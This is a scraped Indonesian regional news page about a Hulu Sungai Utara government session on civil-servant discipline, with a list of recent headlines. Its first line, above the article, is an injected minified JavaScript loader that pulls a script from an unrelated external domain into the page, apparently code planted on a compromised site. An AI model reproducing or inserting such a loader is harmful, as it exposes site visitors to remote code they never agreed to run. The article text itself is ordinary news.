(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pemkab HSU Dorong Peningkatkan Kedisipinan dan Profesionalisme ASN


KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) terus mendorong peningkatkan kedisiplinan, kinerja optimal dan keprofesionalan Aparatur Sipil Negara (ASN).

Hal tersebut salah satunya dengan melaksanakan sosialisasi penguatan disiplin ASN untuk mewujudkan kinerja optimal dan profesional di lingkungan Setda HSU, dihadiri pejabat, ASN dan Non ASN, Rabu (9/10/2024) di gedung Agung Setda HSU.

Saat membuka kegiatan, Sekertaris Daerah (Sekda) HSU, Adi Lesmana, menilai kegiatan ini sangat penting dilakukan dalam rangka meningkatkan pemahaman dan pengetahuan sebagai upaya peningkatan disiplin.

“Dan juga pelaksanaan penerapan peraturan pemerintah nomor 94 tahun 2021 tentang disiplin pegawai negeri sipil (PNS) dan menjalankan peraturan Bupati HSU nomor 1 Tahun 2024 tentang presensi online di lingkungan pemerintah kabupaten HSU,” katanya.

Baca juga: Jadi Tersangka Belum Ditahan, Paman Birin Dicegah ke Luar Negeri

Adi menyebut, kedisiplinan merupakan hal penting yang memiliki pengaruh besar dalam penyelenggaraan pemerintahan, pelaksanaan pembangunan maupun pelayanan birokrasi.

“Karena apabila kita dapat menerapkan disiplin bagi PNS secara optimal sebagaimana telah diatur dalam peraturan perundang-undangan, maka yakinlah, paling tidak kita dapat menjaga dan menjamin kualitas pelaksanaan reformasi birokrasi agar sesuai dengan standar yang telah ditetapkan,” imbuhnya.

Sekda mengharapkan ASN dan Non ASN di lingkungan pemkab HSU memiliki integritas moral yang baik, profesional, serta memiliki akuntabilitas dalam melaksanakan tugas, sebagai pondasi yang kuat dalam merefleksi kembali semangat reformasi birokrasi.

Baca juga: Bawaslu Banjarbaru Kaji Laporan Dugaan Pelanggaran Bagi Sembako

“Silahkan berinovasi dan lakukanlah yang terbaik sesuai dengan bidang kerja organisasinya, namun perlu mentaati kewajiban serta larangan sebagaimana yang telah diatur oleh pemerintah,” harapnya.

Adi berpesan, sosialisasi tersebut untuk dapat dimanfaatkan guna mendapatkan pemahaman tentang pembinaan dan penegakan disiplin sesuai dengan aturan yang berlaku. Materi disampaikan Alfian Zulkiram dan Dewi Mega Indah dari Kantor Regional VIII BKN Banjarbaru. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Risa

Recent Posts

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

9 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

10 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

22 jam ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

23 jam ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

23 jam ago

Kunjungi Karangintan, Masyarakat Inginkan Saidi Mansyur Terpilih Lagi

KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More

1 hari ago

This website uses cookies.